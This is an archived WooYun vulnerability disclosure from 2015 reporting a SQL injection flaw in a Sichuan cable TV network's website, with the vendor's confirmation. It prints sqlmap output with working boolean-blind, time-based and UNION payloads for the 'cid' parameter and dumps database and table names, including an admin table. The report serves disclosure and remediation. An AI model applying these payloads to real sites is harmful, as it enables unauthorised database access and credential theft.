当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0151834

漏洞标题:四川广电网络主站存在SQL注射漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 我是猪

提交时间:2015-11-04 21:53

修复时间:2015-12-21 10:50

公开时间:2015-12-21 10:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-04: 细节已通知厂商并且等待厂商处理中
2015-11-06: 厂商已经确认,细节仅向厂商公开
2015-11-16: 细节向核心白帽子及相关领域专家公开
2015-11-26: 细节向普通白帽子公开
2015-12-06: 细节向实习白帽子公开
2015-12-21: 细节向公众公开

简要描述:

马哥说,挖洞的技巧是什么?
是要随缘~~~~

详细说明:

注入点
**.**.**.**/infolist.php?id=main&id=43&cid=44
注入参数为“cid”

sqlmap identified the following injection point(s) with a total of 306 HTTP(s) requests:
---
Parameter: cid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=main&id=43&cid=44 AND 3851=3851
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=main&id=43&cid=44 AND (SELECT * FROM (SELECT(SLEEP(5)))QFgl)
Type: UNION query
Title: Generic UNION query (NULL) - 21 columns
Payload: id=main&id=43&cid=-8549 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a766b71,0x52506f5346596e72516d,0x7170766271),NULL--
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5.0.12
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=main&id=43&cid=44 AND 3851=3851
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=main&id=43&cid=44 AND (SELECT * FROM (SELECT(SLEEP(5)))QFgl)
Type: UNION query
Title: Generic UNION query (NULL) - 21 columns
Payload: id=main&id=43&cid=-8549 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a766b71,0x52506f5346596e72516d,0x7170766271),NULL--
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5.0.12
available databases [9]:
[*] bsjq
[*] bsjqbak
[*] gdvideo
[*] guangdian
[*] guangdianc
[*] guangdiannew
[*] information_schema
[*] mysql
[*] test
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=main&id=43&cid=44 AND 3851=3851
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=main&id=43&cid=44 AND (SELECT * FROM (SELECT(SLEEP(5)))QFgl)
Type: UNION query
Title: Generic UNION query (NULL) - 21 columns
Payload: id=main&id=43&cid=-8549 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a766b71,0x52506f5346596e72516d,0x7170766271),NULL--
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5.0.12
Database: guangdian
[21 tables]
+----------------------+
| cupid_admin |
| cupid_config |
| cupid_contentbase |
| cupid_contentclass |
| cupid_contentcontent |
| cupid_diaocha_log |
| cupid_hdp |
| cupid_indexmodule |
| cupid_messages |
| cupid_moudleclass |
| cupid_newbase |
| cupid_newsclass |
| cupid_newscontent |
| cupid_proclass |
| cupid_procut |
| cupid_single |
| cupid_substation |
| cupid_templates |
| cupid_toupiao |
| cupid_toupiaoip |
| cupid_weblink |
+----------------------+

漏洞证明:

密码啥的都有,也没深入了。主站不应该啊...

2015-11-04_173218.png


2015-11-04_181026.png


2015-11-04_181221.png

修复方案:

。。。

版权声明:转载请注明来源 我是猪@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-11-06 10:49

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发对应分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价